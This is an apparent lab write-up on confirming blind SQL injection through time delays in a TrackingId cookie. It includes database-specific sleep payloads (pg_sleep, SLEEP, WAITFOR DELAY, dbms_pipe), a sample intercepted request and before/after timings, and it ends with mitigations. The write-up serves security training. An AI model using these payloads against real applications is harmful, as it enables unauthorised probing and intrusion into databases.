Blind SQL Injection with Time Delays
Introduction
Blind SQL Injection is a technique where an attacker exploits a vulnerable SQL query without directly seeing the output. In this lab, we use time delays to confirm SQL injection in an application that processes a tracking cookie.
Understanding the Vulnerability
The application takes a TrackingId from the cookie and executes an SQL query.
The results are not shown, so we cannot see direct evidence of injection.
Since the query runs synchronously, introducing a time delay will confirm SQL execution.
Exploiting the Vulnerability
we inject a time delay function into the SQL query to check if it’s being executed. Common functions used for this:
PostgreSQL: pg_sleep(10)
MySQL: SLEEP(10)
SQL Sever: WAITFOR DELAY ‘00:00:10’
Oracle: dbms_pipe.receive_message((‘a’),10)
Steps to Perform
Capture the Request
Use Burp Suite to intercept a request from the browser.
Identify the TrackingId in the request headers:
GET/ HTTP/1.1
Host: vulnerable-website.com
Cookie: TrackingId=xyz123

Before applying payload we got 622 millisec.
- Inject the payload
Modify the TrackingId value to introduce a delay:
1. PostgreSQL: TrackingId=xyz123’ || (SELECT pg_sleep(10))--
2. MySQL: TrackingId=xyz123’ OR SLEEP(10)--
3. SQL Server: TrackingId=xyz123’; WAITFOR DELAY ‘00:00:10’--
Observe the Response
If the server takes 10 seconds to respond, the injection is successful.
If there is no delay, try another SQL functiion or different syntax.

After applying payload we got response as time delay with 10,408 millisec.
Mitigation
Use Prepared Statements to prevent direct execution of user input.
Implement Web Application Firewalls(WAFs) to detect and block SQLi attempts.
Restrict Database Permissions to minimize potential damage.
Sanitize and validate Input to reject unexpected input values.
Conclusion
In this lab, we exploited a blind SQL Injection Vulnerability by injecting a time delay to confirm SQL execution. This method is commonly used when query results or errors are not displayed.